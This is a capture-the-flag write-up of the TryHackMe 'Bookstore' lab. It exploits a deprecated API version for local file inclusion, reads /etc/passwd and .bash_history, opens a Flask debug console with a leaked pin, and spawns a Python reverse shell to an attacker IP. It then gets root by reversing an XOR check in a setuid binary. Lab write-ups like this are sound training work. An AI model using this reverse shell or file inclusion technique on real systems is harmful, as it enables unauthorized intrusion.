TryHackMe

Bookstore

Ò–Ò–ƒÒ–… MEDIUM

Objective: understand how a vulnerable API can be exploited

Web Exploitation 🔗 Start Challenge Ò†’

Part 1

I accessed the website using its IP address without specifying any port. Once we accessed the website, we found something like this:

Website initial view

I interacted with every possible endpoint on this site. There were different interaction points, such as home.html and books.html, but login.html didnÒ€ℒt do anything.

Website initial view

Website initial view

Once IÒ€ℒve run through every request, I fire up Postman to check whatÒ€ℒs really going on under the hood

Website initial view

Website initial view

Burp Suite showed us all the requests. One stood out: /assets/js/api.js, which dropped the following:

Website initial view

Website initial view

We can send a request like this:

Website initial view

But based on api.js, the most important part is this specific comment. //the previous version of the api had a paramter which lead to local file inclusion vulnerability, glad we now have the new version which is secure.

LetÒ€ℒs change /api/v2/resources/books?id=1 to /api/v1/resources/books?id=1

Website initial view

We didnÒ€ℒt get any errors, which means the previous version of this API is still present, and we can access its vulnerability.

Based on the response from /api/v2/resources/books/random4, I tried using different parameters, but none of them returned /etc/passwd , author, id, published ,show

I brute-forced new parameters but kept the value set to ../../../etc/passwd

Website initial view

Bingo, we found an endpoint called show.

/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sid:x:1000:1000:Sid,,,:/home/sid:/bin/bash
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin

Website initial view

From the /etc/passwd response, we found a user sid, which could allow us to read the flag. Based on the challenge question, letÒ€ℒs use /home/sid/user.txt

Website initial view

Part 2

At this stage, I began enumerating further, starting with SSH ../../../../home/sid/.ssh/id_rsa, But I got a 500 Internal Server Error, which I believe is similar to a file not found

Website initial view

Then I made a request to .bash_history, and it returned some juicy data:

Website initial view

It returned a debug pin belonging to the Flask localhost console. LetÒ€ℒs make a request to this:

Website initial view

Using the pin from .bash_history, we accessed the Flask debug console. Since it allows Python execution, we leveraged it to spawn a reverse shell. Understanding Reverse Shells Γ’β‚¬β€œ Invicti

Python Debug

import os
os.system("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"MY-IP",1111));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'")

Website initial view

While searching for the root flag, we found a setuid binary called try-harder. Analyzing it with strings revealed it prompts for a password, and on success, spawns /bin/bash -p giving us root access.

Website initial view

Website initial view

I downloaded the file for local analysis in Ghidra, which revealed the following code:

Website initial view

Ghidra

void main(void)

{
  long in_FS_OFFSET;
  uint local_1c;
  uint local_18;
  uint local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setuid(0);
  local_18 = 0x5db3;
  puts("What\'s The Magic Number?!");
  __isoc99_scanf(&DAT_001008ee,&local_1c);
  local_14 = local_1c ^ 0x1116 ^ local_18;
  if (local_14 == 0x5dcd21f4) {
    system("/bin/bash -p");
  }
  else {
    puts("Incorrect Try Harder");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
Ghidra

  local_14 = local_1c ^ 0x1116 ^ local_18;
  if (local_14 == 0x5dcd21f4) {
    system("/bin/bash -p");
  }
  else {
    puts("Incorrect Try Harder");
  }

The program takes your input (local_1c) and XORs it with two constants: 0x1116 and local_18 (0x5db3).

If the result equals 0x5dcd21f4, you win.

Ghidra

$ python 
Python 3.13.5 (main, Jun 25 2025, 18:55:22) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> magic = 0x5dcd21f4 ^ 0x1116 ^ 0x5db3
>>> print(hex(magic), magic)
0x5dcd6d51 1573743953

0x5dcd21f4 -> the target value (what the program checks against).

^ 0x1116 ^ 0x5db3 -> you XOR it back with the constants used in the C code.

XOR is its own inverse, so this neatly recovers the original user_input.

Website initial view

This gave us a root shell